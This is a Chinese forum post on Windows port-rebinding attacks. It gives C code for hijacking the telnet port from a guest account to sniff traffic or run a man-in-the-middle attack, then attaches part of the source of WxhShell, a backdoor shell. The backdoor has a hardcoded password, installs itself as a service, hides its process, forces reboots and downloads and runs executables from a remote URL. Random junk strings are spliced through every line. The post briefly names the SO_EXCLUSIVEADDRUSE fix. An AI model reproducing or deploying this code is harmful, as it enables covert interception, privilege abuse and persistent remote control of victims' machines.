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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )}4xmf@g l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U[c^xz&  
k>!A~gfP~  
  saddr.sin_family = AF_INET; R2dCp|6A  
,Cj` 0v#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |H4f&& Wd  
Uf<IXx&;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); uOQl;}Lk5  
I 2*\J)|f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %<;PEQQ|C  
_2nNCu (  
  这意味着什么?意味着可以进行如下的攻击: mY!&*nYn|  
,B$m8wlI|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L=<{tzTc  
;p/$9b.0:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $qfNEAmDf\  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "yc@_+"\+  
#mH4\s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  KmaMS(A(3  
c~{)vL0K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o :_'R5  
ys Td'J  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 VTwJtWnq  
Fq #;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +4m~D`fqt[  
uz[5h0c  
  #include mNnt9F3Eq  
  #include d9yfSZ  
  #include f>jAu;S  
  #include    0j(/N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;8> TD&]{  
  int main() "CF{Mu|Q=  
  { qn#f:xltu  
  WORD wVersionRequested; G| .5.FK^  
  DWORD ret; F}{uY(hv"[  
  WSADATA wsaData; qo5WZ be  
  BOOL val; KImazS^  
  SOCKADDR_IN saddr; dEWI8Q]  
  SOCKADDR_IN scaddr; ~t.M!vk  
  int err;  ylBjuD+  
  SOCKET s; i9quP"<9  
  SOCKET sc; J#jx)K!  
  int caddsize; &/tGT3)  
  HANDLE mt; I+_u?R)$  
  DWORD tid;   } 2P,Z6L  
  wVersionRequested = MAKEWORD( 2, 2 ); Z{spo=  
  err = WSAStartup( wVersionRequested, &wsaData ); [{cMEV&  
  if ( err != 0 ) { ucgp=bye  
  printf("error!WSAStartup failed!\n"); eBxOa  
  return -1; DW.vu%j^[  
  } 9 M!J7 W  
  saddr.sin_family = AF_INET; 1"P^!N  
   L[cl$ pYV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pG(%yIiAi  
`w/`qG:dK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GV(@(bI*  
  saddr.sin_port = htons(23); 3F|#nq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kPg| o3H  
  { s'^"s_j  
  printf("error!socket failed!\n"); Y76UhtYH  
  return -1; NY9\a[[^[8  
  } >{huaN B  
  val = TRUE; ew{(@p+$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B0#JX MX9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6N {|;R@2  
  { 6 s1lf!  
  printf("error!setsockopt failed!\n"); pv9Z-WCix$  
  return -1; {t1 ;icu  
  } y0f"UH/   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hRKA,u/G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "~^ #{q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^-GzWT  
u AmDXqJ 3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5$.e5y<&(  
  { }* s%|!{H  
  ret=GetLastError(); +ZK12D}  
  printf("error!bind failed!\n"); lay)I11- >  
  return -1; $m)[> C  
  } C!Oz'~l  
  listen(s,2); Uc<j{U ,  
  while(1) S eTn]  
  { "[t (u/e  
  caddsize = sizeof(scaddr); (c=.?{U  
  //接受连接请求 }:2GD0Ru  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rS^+y{7  
  if(sc!=INVALID_SOCKET) ]E!b&  
  { /a:sWmxMT  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sp'f>F2]  
  if(mt==NULL) uF89B-t  
  { 236,o {9e  
  printf("Thread Creat Failed!\n");  8%W(",nd  
  break; ROc)LCA  
  } "ABg,^jf  
  } MmPLJ  
  CloseHandle(mt); s 8 c#_  
  } WY 'QhieH  
  closesocket(s); sF+Bu'9A  
  WSACleanup(); ;+-M+9"?O  
  return 0; :$J4T;/{  
  }   M8HHyV[AmC  
  DWORD WINAPI ClientThread(LPVOID lpParam) "fTW2D74  
  { AV%t<fDG#  
  SOCKET ss = (SOCKET)lpParam; /$NZj" #  
  SOCKET sc; o+j~~P  
  unsigned char buf[4096]; <+\ w.!  
  SOCKADDR_IN saddr; M!j: 2dT"  
  long num; _cw~N p  
  DWORD val; /3mt=1/~{B  
  DWORD ret; aH!2zC\:T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 py8)e7gX=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ZN `D!e6  
  saddr.sin_family = AF_INET; 9C_Vb39::$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;#jE??E/:  
  saddr.sin_port = htons(23); |MQ_VZ{6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8M&q  
  { OPtFz6   
  printf("error!socket failed!\n"); YLVZ]fN=>  
  return -1;  wq@{85  
  } _)U[c;^6  
  val = 100; GjD^\d/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i SD?y#  
  { )J<VDO:_YA  
  ret = GetLastError(); Pv3rDQ/Yt|  
  return -1; DN%b!K:  
  } 2LqJ.HH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B !}/4"  
  { \p%,g& ^ x  
  ret = GetLastError(); @G&2Tbj[`  
  return -1; [zv@}@$  
  } n 9X:s?B/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Op2@En|d  
  { #5b}"xK{  
  printf("error!socket connect failed!\n"); 9nrmz>es|-  
  closesocket(sc); td"D&1eQ@  
  closesocket(ss); EO: VH  
  return -1; n |e=7?H8  
  } 9J $"Qt5;6  
  while(1) Q6lC:cB<  
  { aHR&6zj4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rOyKugHe  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T}55ZpS C&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Z;qgB7-M  
  num = recv(ss,buf,4096,0); ]8;2Oh   
  if(num>0) 9ER!K  
  send(sc,buf,num,0); A0f98 ?j^  
  else if(num==0) Uxl7O4J@H  
  break; A<$w }Fy;  
  num = recv(sc,buf,4096,0); de<T5/  
  if(num>0) ]b6gZ<  
  send(ss,buf,num,0); }S_#*N)i  
  else if(num==0) zY^QZceq"  
  break; X]T&kdQ6q  
  } s`63 y&Z[  
  closesocket(ss); |h6u%t2AY  
  closesocket(sc); {)L*\r  
  return 0 ; 8v V<A*`  
  } *@(j'0hj  
@?!&M c2  
XQhbH^  
========================================================== i+&o%nK2  
X<*-d6?gD`  
下边附上一个代码,,WXhSHELL L63B# H "  
M?QK4Zxb6U  
========================================================== |q+dTy_n  
|[B JZ  
#include "stdafx.h" 8uD%  
|iLf;8_:  
#include <stdio.h> Rxfhk,I  
#include <string.h> .FWi$B';  
#include <windows.h> Fd(o8z8Q  
#include <winsock2.h> %~$coZY^  
#include <winsvc.h> kx.8VUoM V  
#include <urlmon.h> ]qPrXuS/  
)ld`2) 4  
#pragma comment (lib, "Ws2_32.lib") 1[k.apn  
#pragma comment (lib, "urlmon.lib") *MM8\p_PuT  
o_@6R"|  
#define MAX_USER   100 // 最大客户端连接数 W#sCvI@   
#define BUF_SOCK   200 // sock buffer *Q XUy  
#define KEY_BUFF   255 // 输入 buffer Y-fDYMm  
Y4j%K~ls Y  
#define REBOOT     0   // 重启 sG K7Uy  
#define SHUTDOWN   1   // 关机 hvo7T@*'  
u`~,`z^{n  
#define DEF_PORT   5000 // 监听端口 r0L' mf$  
H2oD0f|  
#define REG_LEN     16   // 注册表键长度 xwjiNJ Gj  
#define SVC_LEN     80   // NT服务名长度 .jK,6't^  
%SKJ#b  
// 从dll定义API og)f?4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U3OXO 1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L[a A4`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E~K5n2CI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f C_H0h3  
H5X.CcI&}  
// wxhshell配置信息 r t\eze_5A  
struct WSCFG { "Iu Pg=|#  
  int ws_port;         // 监听端口 8d|#W  
  char ws_passstr[REG_LEN]; // 口令 +txHj(Y`  
  int ws_autoins;       // 安装标记, 1=yes 0=no U%u%_{-  
  char ws_regname[REG_LEN]; // 注册表键名 Fsi;[be$A  
  char ws_svcname[REG_LEN]; // 服务名 D wtvtglqV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q2}6lf,J K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [Zj6v a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^nGKuW7\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DR c-L$bD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =?oYEO7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3`U^sr:[%  
}]!?t~5*  
}; \_|g}&}6Y  
*DS>#x@3*i  
// default Wxhshell configuration 8Luw< Q  
struct WSCFG wscfg={DEF_PORT, ,WgEl4  
    "xuhuanlingzhe", qx2M"uFJ  
    1, R Y ";SfYb  
    "Wxhshell", 8;GuJP\  
    "Wxhshell", MG(qQ#;j/  
            "WxhShell Service", cj@ar^=`K  
    "Wrsky Windows CmdShell Service", /&!4oBna  
    "Please Input Your Password: ", "R % 3v.Z  
  1, Q8?:L<A  
  "http://www.wrsky.com/wxhshell.exe", a=&{B'^G  
  "Wxhshell.exe" ;tG@ 6  
    }; \@F~4,VT  
u81@vEK:_  
// 消息定义模块 e{E8_2d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ("txj[v-/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -]!zj#&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F7lzc)  
char *msg_ws_ext="\n\rExit."; 0*F<tg,+]  
char *msg_ws_end="\n\rQuit."; k@Mt8Ln  
char *msg_ws_boot="\n\rReboot..."; \I+#M-V  
char *msg_ws_poff="\n\rShutdown..."; =PAsyj  
char *msg_ws_down="\n\rSave to "; q:vc ;y  
W`gzMx  
char *msg_ws_err="\n\rErr!"; fZNe[|  
char *msg_ws_ok="\n\rOK!"; k#DMd9  
mr<camL5  
char ExeFile[MAX_PATH]; MCO`\"`l  
int nUser = 0; ~Sc{\ZJl  
HANDLE handles[MAX_USER]; ]aI   
int OsIsNt; X|Rw;FY  
zn2Qp  
SERVICE_STATUS       serviceStatus; Dg'BlrwbR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e763 yd  
#CTeZ/g  
// 函数声明 9?.  
int Install(void); =niT]xf  
int Uninstall(void); mT&?DZ9<  
int DownloadFile(char *sURL, SOCKET wsh); 5"mH6%d :8  
int Boot(int flag); Un^3%=;  
void HideProc(void); qi=v}bp&  
int GetOsVer(void); C|-QU  
int Wxhshell(SOCKET wsl); ^j *H  
void TalkWithClient(void *cs); wS @-EcCB  
int CmdShell(SOCKET sock); Cu`ty] -'  
int StartFromService(void); GB8>R  
int StartWxhshell(LPSTR lpCmdLine); Y@2v/O,\  
;Yu|LaI\<m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,ocAB;K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i>{.Y};  
[|tlTk   
// 数据结构和表定义 DM=`hyf(v  
SERVICE_TABLE_ENTRY DispatchTable[] = (Q[(]dfc  
{ A?4s+A@Eg  
{wscfg.ws_svcname, NTServiceMain}, 1;"DIsz@d  
{NULL, NULL} zY2o;-d|4  
}; cg).b?g  
&at>sQ'  
// 自我安装 ]%eyrbU  
int Install(void) %[WOQ.Sh  
{ Y0xn}:%K  
  char svExeFile[MAX_PATH]; kX "*kD  
  HKEY key; ?G<.W[3  
  strcpy(svExeFile,ExeFile); 49-wFF  
N-YCOSUu  
// 如果是win9x系统,修改注册表设为自启动 ='Fh^]*5  
if(!OsIsNt) { ?cKe~Q?3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q:<vl^<j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~=k?ea/>  
  RegCloseKey(key); q"$C)o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xM2UwTpW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +~\1g^h  
  RegCloseKey(key); G6q*U,  
  return 0; f(E[jwy  
    } &@fW6},iW  
  } xFp?+a  
} 9^1li2zk{  
else { @~C C$Y$  
,&iZ*6=X?0  
// 如果是NT以上系统,安装为系统服务 0P^&{ek+)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Qv;q*4_  
if (schSCManager!=0) M%v 6NxN  
{ sj8lvIY5  
  SC_HANDLE schService = CreateService dLtmG:II  
  ( b:(t22m#?  
  schSCManager, %6cbHH  
  wscfg.ws_svcname, ES ?6  
  wscfg.ws_svcdisp, bsdT>|gW  
  SERVICE_ALL_ACCESS, G0b##-.'^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,iMdv+  
  SERVICE_AUTO_START, p@[n(?duC.  
  SERVICE_ERROR_NORMAL, +Y"HbNz  
  svExeFile, K8 Hj)$E61  
  NULL, #8r1<`']!  
  NULL, )(-aw,i K  
  NULL, =i:,")W7=  
  NULL, {+jO/ZQu5  
  NULL Q3rLCg,;  
  ); @j'GcN vs  
  if (schService!=0) 6!Uk c'r  
  { 1{.5X8y1x  
  CloseServiceHandle(schService); i#:M2&twE  
  CloseServiceHandle(schSCManager); <|1Khygv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )*nZ6Cg'  
  strcat(svExeFile,wscfg.ws_svcname); {-1N@*K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'H-hp   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YYF.0G}  
  RegCloseKey(key); 0S&C[I o6  
  return 0; c!]Q0ib6  
    } g>;"Fymc'  
  } Mk8k,"RG&Z  
  CloseServiceHandle(schSCManager); 9\!=i  
} Rh%C$d(  
} Sv t%*j  
Z.,pcnaQb  
return 1; !dOpLUh l  
} C=x70Y/  
k|3hs('y|  
// 自我卸载 cQrXrij;!  
int Uninstall(void) l0=VE#rFl  
{ N fND@m{/  
  HKEY key; ', P_a,\  
9;fs'R  
if(!OsIsNt) { TF~cDn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :4[_&]H  
  RegDeleteValue(key,wscfg.ws_regname); Qt.|YB8  
  RegCloseKey(key); |>Pz#DCy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZDx1v_xr  
  RegDeleteValue(key,wscfg.ws_regname); g5lK&-yu]  
  RegCloseKey(key); 2)9XTY 6$  
  return 0; GC7W7B  
  } yi*EE%  
} {=6CL'_  
} Qq3>Xv <  
else { fU|4^p)  
9e;8"rJ?C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fE1VTGfd:  
if (schSCManager!=0) &Y1RPO41J  
{ t@!A1Vr@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WXd#`f%  
  if (schService!=0) ;jh.\a_\  
  { Oar%LSkPRz  
  if(DeleteService(schService)!=0) { ;E0x#JUrw  
  CloseServiceHandle(schService); : `,#z?Rk  
  CloseServiceHandle(schSCManager);  GjyTM  
  return 0; z[l_<`J$9  
  } ^f9>tI{  
  CloseServiceHandle(schService); V\=%u<f  
  } py$i{v%  
  CloseServiceHandle(schSCManager); emIF{oP  
} ubQr[/  
} EOXuc9>G  
[~ !9t9+~  
return 1; W4"1H0s`l  
} )!=fy']  
EpK7VW  
// 从指定url下载文件 ?f:ND1jU  
int DownloadFile(char *sURL, SOCKET wsh) R0e!b+MZ.  
{ "qoJIwl#q  
  HRESULT hr; <`Qb b=*  
char seps[]= "/"; aB{OXU}#  
char *token; 3j2d&*0  
char *file; ?dmw z4k0  
char myURL[MAX_PATH]; n^` `)"  
char myFILE[MAX_PATH]; #rQT)n  
\jr-^n]  
strcpy(myURL,sURL); \m(>Q  
  token=strtok(myURL,seps); MbeK{8~E%l  
  while(token!=NULL) Z/LYTo$Bz  
  { 9Us'Q{CD   
    file=token; vdd>\r)v  
  token=strtok(NULL,seps); [a7S?%>Bh  
  } ]L?WC  
1w#vy1m J  
GetCurrentDirectory(MAX_PATH,myFILE); Y4N)yMSl"  
strcat(myFILE, "\\"); ekd;sEO  
strcat(myFILE, file); tG[v@-O  
  send(wsh,myFILE,strlen(myFILE),0); '![VA8  
send(wsh,"...",3,0); G0(A~Q"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e}iv vs2  
  if(hr==S_OK) $]MOAj"LH  
return 0; U04)XfO;]  
else wsgT`M'J[  
return 1; Yu:($//w  
o(D6  
} M $zt;7P|  
O@>{%u  
// 系统电源模块 at(gem  
int Boot(int flag) (I;lE*>  
{ H>wXQ5?W;  
  HANDLE hToken; D0yH2[j+  
  TOKEN_PRIVILEGES tkp; T#a6X;9P  
gF\ac%9  
  if(OsIsNt) { 9#a/at]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $x2G/5?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mxICQ>s b  
    tkp.PrivilegeCount = 1; 1-PFM-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qWJa p-hb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {'cdi`  
if(flag==REBOOT) { %:y"o_X_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LG'1^W{a  
  return 0; :|Bzbn=N2  
} t![972.&  
else { 1pT/`x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5;A=8bryU  
  return 0; xLw[ aYy4  
} eNrwkV^  
  } c+jnQM'  
  else { i}>} %l|  
if(flag==REBOOT) { Oyp)Wm;@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1~[GGl  
  return 0; ~e=KBYDBu  
} S9 @*g3  
else { 5K00z?kD2V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }R`}Ey|{  
  return 0; '8b=4mrbH  
} _#w5hX cu  
} a]4|XJ_  
j2jUrl  
return 1; uKo4nXVtp  
} mWuhXY^Q  
D1EHT}  
// win9x进程隐藏模块 Tx/KL%X  
void HideProc(void) !={QL:  
{ ]% UAN_T  
n yNHjn |W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jyC>~}?  
  if ( hKernel != NULL ) hcQv!!Q"k$  
  { |2&|#K4k^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); to)Pl}9QkK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &sGLm~m#  
    FreeLibrary(hKernel); Zk0?=f?j  
  } ?{>5IjL)en  
\?AA:U*  
return; kaVYe)~  
} %j?7O00 @  
>c.HH}O0W  
// 获取操作系统版本 l6!a?C[2T  
int GetOsVer(void) r`C t/]c  
{ XNkQ0o0  
  OSVERSIONINFO winfo; 7` t,   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ? \NT'CG  
  GetVersionEx(&winfo); {>l`P{{y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K_V$ktL  
  return 1; X($@E!|  
  else qGie~S ##  
  return 0; }j,G)\g#  
} n7d`J_%s  
yj9 Ad*.  
// 客户端句柄模块 +ID% (:  
int Wxhshell(SOCKET wsl) kYkck]|  
{ [?#-JIZ3T  
  SOCKET wsh; p fg>H  
  struct sockaddr_in client; IeBb#Qedz  
  DWORD myID; :#UN^"(m}  
q|e<b  
  while(nUser<MAX_USER) qFjnuQ,w  
{ 92L{be; SY  
  int nSize=sizeof(client); \fL:Ie  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `Dv &.  
  if(wsh==INVALID_SOCKET) return 1; 5va ;Ol4  
=eG:Scoug?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m`/!7wQs  
if(handles[nUser]==0) [ ]=}0l<J  
  closesocket(wsh); )> a^%V9  
else 8wA'a'V.  
  nUser++; sg,9{R ^  
  } 3<HPZWc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r;8$ 7C.  
P87qUC  
  return 0; 6Q9S~YYq  
} Q |^c5  
b=Y3O  
// 关闭 socket l # F.S5i  
void CloseIt(SOCKET wsh) GK:pt8=  
{ U`ELd:  
closesocket(wsh); D~%h3HM  
nUser--; pw1&WP&?3  
ExitThread(0); {NV=k%MTmi  
} PWs=0.Wj  
R~(_m#6`:  
// 客户端请求句柄 uJ/ &!q<3  
void TalkWithClient(void *cs) Cg&cz]*q|  
{ -44''w?z  
!u|s| 6{\  
  SOCKET wsh=(SOCKET)cs; Sc&p*G  
  char pwd[SVC_LEN]; #[Vk#BIiv8  
  char cmd[KEY_BUFF]; <4P"1#nHQ+  
char chr[1]; (Y]G6> Oa  
int i,j; PQ[x A*  
G G[$-  
  while (nUser < MAX_USER) { MM4Eq>F/  
CEp @-R  
if(wscfg.ws_passstr) { > v ]-B"Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JZB@K6 ~dO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d!]_n|B@9  
  //ZeroMemory(pwd,KEY_BUFF); D$y-Kh  
      i=0; ziui  
  while(i<SVC_LEN) { QOY M/1U  
8&9'1X5)8_  
  // 设置超时 ;yg9{"O  
  fd_set FdRead; 2:& [r*  
  struct timeval TimeOut; 2u'h,on?  
  FD_ZERO(&FdRead); j4.deQ,  
  FD_SET(wsh,&FdRead); 4';(\42  
  TimeOut.tv_sec=8; bO?Us  
  TimeOut.tv_usec=0; C\p _  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }z8HS< #Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `=cOTn52  
m;KD@E!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8?&u5  
  pwd=chr[0]; .m\'|%  
  if(chr[0]==0xd || chr[0]==0xa) { ^{Y9!R*9U*  
  pwd=0; Og~3eL[1%C  
  break; t.WWahNyY  
  } w"K;e(S  
  i++; 6H}8^'/u  
    } Qape DU;  
G[5z3  
  // 如果是非法用户,关闭 socket F%>`?NG+c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4I^8f||b_  
} VCUEzR0  
sj0{;>>%+N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'w5g s}1D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }H<87zH  
|v%xOl  
while(1) { o>Jr6: D(  
EAM2t|M G.  
  ZeroMemory(cmd,KEY_BUFF); YX:[],FP  
Kwa$5qZI  
      // 自动支持客户端 telnet标准   s4{WPU9  
  j=0; T.p:`}Ma  
  while(j<KEY_BUFF) { l TRQ/B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zm!5X9^!  
  cmd[j]=chr[0]; csay\Q{  
  if(chr[0]==0xa || chr[0]==0xd) { k3B-;%3I;  
  cmd[j]=0; ;J3 (EB  
  break; t!,GI&  
  } nJ-U*yz  
  j++; x#_0 6  
    } [Vaw$c-+[y  
6:vdo~  
  // 下载文件 Xm! ;  
  if(strstr(cmd,"http://")) { WMLsKoby  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N^{+1u7  
  if(DownloadFile(cmd,wsh)) ,HLgb}~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Y gvLz %  
  else Fb{kql=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b)Px  
  } 60 z =bd]  
  else { To"J>:l  
ir ^XZVR  
    switch(cmd[0]) { wNgS0{}&`  
  *N #{~  
  // 帮助 lP:ll])p2  
  case '?': { Mli`[8@(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Iq[Z5k(K  
    break; #n8jn#  
  } Wa|lWIMK  
  // 安装 %"0g}tK6  
  case 'i': { -O?}-6,_Z  
    if(Install()) `Mp-4)mn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %IbG@ }54  
    else p/k6}Wl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rpu{YC1C%  
    break; mt(2HBNoz  
    } psZAO,p  
  // 卸载 .\X;VWTI  
  case 'r': { It/IDPx4ga  
    if(Uninstall()) r g$2)z1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +/E yX =  
    else F};G&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =,-&h V  
    break; a!US:^}lu  
    } Uj[E_4h  
  // 显示 wxhshell 所在路径 |Vs?yW  
  case 'p': { <8Zm}-U  
    char svExeFile[MAX_PATH]; ,y5 7tY  
    strcpy(svExeFile,"\n\r"); jw"]U jub  
      strcat(svExeFile,ExeFile); 3 O)^Hq+9  
        send(wsh,svExeFile,strlen(svExeFile),0); nBA0LIb  
    break; ?{ 0MF  
    } {yPiBu  
  // 重启 DVWqrK}q  
  case 'b': { *l[;g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _V`Gmy[]p  
    if(Boot(REBOOT)) RvPC7,vh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }H4Z726  
    else { Rn-RMD{dh  
    closesocket(wsh); LT3ViCZ-n  
    ExitThread(0); RN%*3{-  
    } ,'m<YTF  
    break; *"pf3x6  
    } #H@rb  
